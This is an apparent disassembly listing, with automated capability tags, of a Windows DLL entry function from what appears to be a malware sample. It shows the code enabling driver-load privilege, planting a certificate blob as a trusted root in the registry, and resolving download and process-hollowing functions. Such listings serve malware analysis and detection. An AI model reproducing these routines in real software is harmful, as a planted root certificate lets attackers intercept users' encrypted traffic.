Function at 0x10001af0
Capabilities:
Create thread
Link many functions at runtime
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 0xc], 1
jne 0x10001d4f
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.memset
push str.ntdll.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.memcpy_s
push str.ntdll.dll
mov dword [0x1000500c], eax
call edi
push eax
call esi
push str.strcpy_s
push str.ntdll.dll
mov dword [0x10005010], eax
call edi
push eax
call esi
push str.wcscpy_s
push str.ntdll.dll
mov dword [0x10005014], eax
call edi
push eax
call esi
push str.sprintf_s
push str.ntdll.dll
mov dword [0x10005018], eax
call edi
push eax
call esi
push str.vsprintf_s
push str.ntdll.dll
mov dword [0x1000501c], eax
call edi
push eax
call esi
push str.NtLoadDriver
push str.ntdll.dll
mov dword [0x10005020], eax
call edi
push eax
call esi
push str.NtSetValueKey
push str.ntdll.dll
mov dword [0x10005024], eax
call edi
push eax
call esi
push str.RtlOpenCurrentUser
push str.ntdll.dll
mov dword [0x10005028], eax
call edi
push eax
call esi
push str.URLDownloadToFileA
push str.urlmon.dll
mov dword [0x1000502c], eax
call edi
push eax
call esi
push str.NtUnmapViewOfSection
push str.ntdll.dll
mov dword [0x10005030], eax
call edi
push eax
call esi
push str.RtlFreeUnicodeString
push str.ntdll.dll
mov dword [0x10005034], eax
call edi
push eax
call esi
push str.RtlAnsiStringToUnicodeString
push str.ntdll.dll
mov dword [section..data], eax
call edi
push eax
call esi
mov dword [0x10005004], eax
mov eax, dword [0x10005008]
test eax, eax
jne 0x10001c3d
push 0x10005008
push 0x40000000
call dword [0x1000502c]
mov eax, dword [0x10005008]
test eax, eax
je 0x10001c66
lea ecx, [ebp - 8]
mov dword [ebp - 4], ecx
xor ecx, ecx
push ecx
push ecx
push 0x30303030
push ecx
mov dword [ebp - 8], ecx
lea ecx, [ebp - 8]
push ecx
push eax
call dword [0x10005028]
cmp eax, 0xe0000000
je 0x10001d42
lea eax, [ebp + 0xc]
xor edi, edi
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10001d42
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], 1
push eax
push str.SeLoadDriverPrivilege
push edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
cmp eax, 1
jne 0x10001cba
push edi
push edi
push 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 2
push eax
push edi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edi, eax
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
test edi, edi
je 0x10001d42
lea eax, [ebp - 8]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftSystemCertificatesROOTCertificates
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001d1f
lea eax, [ebp - 4]
push eax
push str.E403A1DFC8F377E0F4AA43A83EE9EA079A1F55F2
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x10001d1f
push 0x70e
push 0x10003070
push 3
push eax
push str.Blob
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push 0
push 0x10001fe0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call esi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc